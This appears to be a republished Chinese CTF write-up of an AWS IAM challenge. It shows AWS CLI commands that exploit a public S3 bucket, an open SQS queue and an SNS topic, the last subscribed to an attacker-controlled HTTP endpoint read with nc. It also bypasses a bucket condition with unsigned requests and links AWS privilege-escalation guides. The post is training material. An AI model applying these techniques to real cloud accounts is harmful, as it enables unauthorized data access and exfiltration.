aws云靶场和一些杂记

aws靶场

在AWS靶场中,存在三个安全问题:1) 一个S3存储桶政策配置错误,允许公共访问,通过访问特定域名可获取flag。2) SQS消息队列的政策没有限制角色,允许发送和接收消息,通过aws sqs命令行工具的receive-message接口最终找到flag。3) SNS主题订阅政策过于开放,允许任意Endpoint订阅,使用HTTP协议订阅并结合AWS CLI的sns confirm-subscription命令获取完整响应,从而得到flag。最后一个挑战涉及存储桶的IAM策略,通过aws s3api命令的list-objects接口,利用无签名请求绕过权限限制访问flag。

存储桶泄露

查看第一个policy给出了这个问题,可以允许列出桶的权限,注意看Principal 这里没有限制具体的访问角色,这里的*代表互联网所有人都可以访问的意思,公开桶。

img

使用s3的命令行,其实可以获取到,可以通过其他命令复制出来,aws好像是没办法直接查看内容的

img

想直接查看内容的话,可以直接把resource提供的域名直接拼接到aws的域名上amazonaws.com ,见此,flag已经出来了,可以下一关

img

SQS消息队列

查看第二个的policy如箭头所示,没有限制具体的角色,而且允许sqs进行发消息和接收消息

img

通过阅读官方文章,sqs这块,有这么多个接口可以搞,但是注意,这块我们的权限只有send和receive

https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html

img

根据文档上的构造,那么应该是把092297851374 和 wiz-tbic-analytics-sqs-queue-ca7a1b2进行拼接

img

aws sqs send-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 

构造好的请求直接发包,发现抱错了

img

还需要–message-body,那继续添加随便加上111,但是返回来的json没有flag值。那么只能从rece接收信息的参数入手了

img

继续查看官网文档,receive-message构造例子如下,有的参数是不必须的得在测试中得到真理

img

构造后进行请求,获得的响应内容多了,有个很明显的链接,访问就是flag了。

aws sqs receive-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 

img

SNS托管式消息传递服务

SNS和SQS的区别:

  • SNS: SNS 是一种发布/订阅模型,其中消息发布到一个主题(Topic),然后所有订阅了该主题的终端(如应用程序、服务、端点等)都会接收到相同的消息。主题允许多个订阅者并支持广播和多播。
  • SQS: SQS 是一种队列模型,其中消息被发送到队列,然后由队列的消费者(订阅者)按照顺序处理。每条消息只能由一个消费者接收,确保消息按照顺序处理。

了解了sns的基本含义之后,我们来看题目给的policy

img

  • Action: 定义允许执行的操作,这里是 “SNS:Subscribe”,表示允许订阅 SNS 主题。
  • Resource: 定义操作作用的资源,这里是 “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications”,表示允许对指定 SNS 主题执行订阅操作。
  • Condition: 是一个可选的部分,定义允许或拒绝操作的条件。在这里,使用了 “StringLike” 条件,要求 “sns:Endpoint” 的值符合 “*@tbic.wiz.io” 这个模式。

还是老样子,我们查看官方的文档

img

那么其实sns里面有protocol参数,可以指定http请求

img

那么subscribe权限下,获取http订阅消息的cli参数命令示例如下

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:123456789012:MyTopic \--protocol http \--notification-endpoint http://example.com/endpoint

把题目给的参数带上发送请求

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \--protocol http \--notification-endpoint http://xxx:8089/@tbic.wiz.io

img

对应自己的服务器起了http服务,但是虽然能获取到响应,但是没办法获取更多的响应信息

img

琢磨了一段时间发现用tcp起端口,nc就可以获取所有响应信息了。但是这段信息里面,是没有flag的,

img

但是给过来的响应,已经提示了To confirm the subscription, visit the SubscribeURL included in this message

img

那么查阅文档后才知道确认消息的具体格式,也可以使用 aws sns confirm-subscription 命令来手动确认订阅,提供确认消息中的 Token:

aws sns confirm-subscription --topic-arn YOUR-TOPIC-ARN --token YOUR-SUBSCRIPTION-TOKEN

aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425c464ced460311901b18ad7c9bd3425561759e0bc3078a08b110692b8d11f962a2f83a2a0ff5067a20d9fc029a1d03eae63ce14c57cad0caeeabdf819036410bcf82b8fb95b2d2191762491329cae004ef65d7018b0c08e0a59abfff27ddabd67bd391c0f3c9fe7f6b172bac94f2f7c5eab424

虽然爆红了,说权限不够,但是还是可以收到sns发过来订阅的消息

img

在nc这边监听,获取到的message就是flag了

img

存储桶错误配置

在下面的policy可以知道,存储桶thebigiamchallenge-admin-storage-abf1321允许的操作是GetObject和ListBucket,但是"ForAllValues:StringLike"这块只允许arn:aws:iam::133713371337:user/admin 才能访问

img

这块其实想了很久,一直没有办法突破。因为没有办法绕过PrincipalArn的限制,最后是查阅官网文档:如果请求中没有上下文键或者上下文键值解析为空数据集(如空字符串),则也会返回 true

https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html

img

那么让上下文键值为空的话,查阅s3api的文档,可以带上–no-sign-request

img

发送请求,我们可以获取到flag了

aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --pre
fix 'files/' --no-sign-request

img

关于存储桶这块,我得记录一下 aws s3和aws s3api的区别 应该就是s3用的ak sk,s3api用的是sts token

记录的链接

aws相关链接

https://rzepsky.medium.com/aws-and-hackerone-ctf-write-up-4c37131f7cbb

https://www.hackthebox.com/blog/aws-pentesting-guide#common_aws_penetration_testing_techniques_within_an_attack_path

https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-01/

https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-02/

https://github.com/BishopFox/iam-vulnerable

https://github.com/andresriancho/enumerate-iam

https://github.com/ine-labs/AWSGoat 靶场

https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ 外国佬的知识

https://mp.weixin.qq.com/s/j8PNLwDAyoSidtuNWnYsMQ 利用AWS Lambda函数漏洞实现初始访问

下载对应的cli工具

https://aws.amazon.com/cn/cli/

/.aws/credentials

img

AWS漏洞利用框架Pacu

https://www.freebuf.com/sectool/190074.html

img

img

aws ssrf+cicd流程 rce 值得回味!

https://zone.huoxian.cn/d/1303-aws-elastic-beanstalk-ssrfrce

aws 攻击笔记大全

https://wiki.teamssix.com/CloudService/IAM/

aws中的iam是什么

img

其他

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/824188.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Javaweb知识之AJAX的概念的通俗理解(包含axios)

AJAX 一.概念: AJAX(Asynchronous JavaScript And XML):异步的JavaScript和XML 异步 JavaScript的理解:就像你给朋友发了一条消息,然后继续做其他事情一样。你不需要等待朋友回复,可以继续做自…

JS-42-Node.js01-Node.js介绍

一、浏览器大战 众所周知,在Netscape设计出JavaScript后的短短几个月,JavaScript事实上已经是前端开发的唯一标准。 后来,微软通过IE击败了Netscape后一统桌面,结果几年时间,浏览器毫无进步。(2001年推出…

C++面向对象程序设计-北京大学-郭炜【课程笔记(七)】

C面向对象程序设计-北京大学-郭炜【课程笔记(七)】 1、类型转换运算符2、自增、自减运算符的重载3、继承和派生的基本概念3.1、基本概念3.2、派生类对象的内存空间 4、继承关系和复合关系4.1、继承关系的使用4.2、复合关系的使用 5、派生类覆盖基类成员6…

《论文阅读》基于情感原因感知的共情对话生成模型 2023 AAAI

《论文阅读》基于情感原因感知的共情对话生成模型 2023 AAAI 前言简介模型构架情绪推理器回复生成器实验结果前言 亲身阅读感受分享,细节画图解释,再也不用担心看不懂论文啦~ 无抄袭,无复制,纯手工敲击键盘~ 今天为大家带来的是《The Empathic Dialogue Generation Model…

npm ERR! code CERT_HAS_EXPIRED (创建vue过程)

npm ERR! code CERT_HAS_EXPIRED (创建vue过程) 起因:卸载 npm uninstall -g vue-cli时候发现报这个错误。 当我们创建vue之前,使用npm更新或者安装啥的时,出现此类提示,则表明,用来验证和网络加…

VSCode和CMake实现C/C++开发

VSCode和CMake实现Ubuntu下C/C++开发总结 目录 0.简介1.Linux系统介绍2.开发环境搭建2.1 编译器,调试器安装2.2 CMake安装3.GCC编译器3.1 编译过程3.2 g++重要编译参数4.g++编译实战4.0 编译前4.1 直接编译4.2 生成库文件并编译4.3 编译后4.3.1 编译完成后的目录结构4.3.2 运行…

ChatGPT改写:论文写作新时代

ChatGPT无限次数:点击直达 ChatGPT改写:论文写作新时代 随着人工智能技术的不断发展,论文写作也进入了新的时代。ChatGPT作为一种强大的自然语言处理模型,在论文写作领域展现出巨大潜力。本文将探讨ChatGPT在论文写作中的应用和影响&#xf…

网络面试相关

GET和POST请求的区别 1、get请求一般是去取获取数据(其实也可以提交,但常见的是获取数据),post请求一般是去提交数据。 2、get因为参数会放在url中,所以隐私性,安全性较差,请求的数据长度是有…

Unity 线程相关知识

线程 线程介绍 通过线程执行函数和直接在主函数中调用函数的区别是:通过直接调用函数时会按照语句顺序逐句执行,必定会完成上一句后再执行下一句,而通过线程执行的函数会从调用开始与主函数同步执行 调用线程的方式 调用无参数函数线程的…

.NET Core中间件管道MAP的作用和使用

在ASP.NET Core中,中间件是构建HTTP请求管道的基本组件。中间件组件负责在ASP.NET Core应用程序中处理请求和响应。中间件可以执行多种任务,例如身份验证、记录、异常处理等。你可以按顺序将多个中间件组件组合在一起,形成一个请求处理管道。…

java读取Excel表格数据

java读取Excel表格数据 环境说明项目结构1.controller层2.service层实现层StudentModel.java类 使用的Maven依赖效果示例一效果示例二文档截图第一页第二页 postman请求说明其他说明 环境说明 jdk1.8,springboot2.5.3 项目结构 1.controller层 package com.exam…

Taro-vue微信小程序用户隐私保护

Taro-vue微信小程序用户隐私保护 一、在 微信公众平台的【设置】- 【服务内容与声明】 ,设置用户隐私保护指引,添加项目需要的接口权限。 【用户隐私保护指引】提交之后,官方会进行审核。审核通过之后,对应的接口权限才会生效。 …

区块链安全应用----压力测试

通过Caliper进行压力测试程序 1.环境配置 第一步. 配置基本环境 部署Caliper的计算机需要有外网权限;操作系统版本需要满足以下要求:Ubuntu > 16.04、CentOS > 7或MacOS > 10.14;部署Caliper的计算机需要安装有以下软件&#xff…

【C语言回顾】函数

前言1. 函数的概念和分类2.库函数3. 自定义函数3.1 自定义函数的简单介绍3.2 自定义函数举例 4. 形参和实参4.1 形参4.2 实参4.3 形参和实参的关系4.3.1 理解4.3.2 举例代码和调试 5. 嵌套函数和链式访问5.1 嵌套函数5.2 链式访问 6. 函数的声明和定义6.1 单个文件6.2 多个文件…

Pandas连接MySQL数据库

pandas是一个强大的Python工具包,能够快速帮助我们做很多数据处理。但是在利用pandas连接数据库时,也会遇到很多问题,在此我总结了一个相对较为简单的连接范式,供大家参考学习。 先上代码: import pandas as pd# 数据…

ChatGPT在遥感领域中的应用

遥感技术主要通过卫星和飞机从远处观察和测量我们的环境,是理解和监测地球物理、化学和生物系统的基石。ChatGPT是由OpenAI开发的最先进的语言模型,在理解和生成人类语言方面表现出了非凡的能力。本课程重点介绍ChatGPT在遥感中的应用,人工智…

中文编程入门(Lua5.4.6中文版)第十三章 Lua 文件操作

在《Lua世界》的冒险旅途中,勇士们时常需要与神秘的文本卷轴打交道。为了更好地掌握这些知识宝藏,Lua I/O库提供了两种强大的探索模式:简单模式和完全模式,助你轻松应对各类文献挑战。 简单模式:初识卷轴 简单模式如…

C# aspose word实现模板方式打印及打印速度慢解决方法

1.引用dll nuget或者网上都有下载的方式。不过都要收费。下载地址:https://files.cnblogs.com/files/rolayblog/Tool.zip?t1713322422&downloadtrue 2.打印模板设计 新建一个doc文档,根据自己的需求画页面。 A、普通文本 在word中需要替换值的地方添…

《2024最新Java面试题及答案(带完整目录)》

获取链接:《2024最新Java面试题及答案(带完整目录)》 更多技术书籍:技术书籍分享,前端、后端、大数据、AI、人工智能... ​ ​ ​ 4.1.9.8. 可重入锁(递归锁) ...........................…

Oracle11.2.0.1,(CVE-2012-1675)漏洞解决方案

1.进入容器停止监听 docker exec -it -u 0 oracle11g bash su - oracle lsnrctl stop listener2.找到监听配置文件位置,修改监听文件 echo $ORACLE_HOMEvi network/admin/listener.ora #在文件底部添加 SECURE_REGISTER_LISTENER (IPC) #启动监听 lsnrctl start …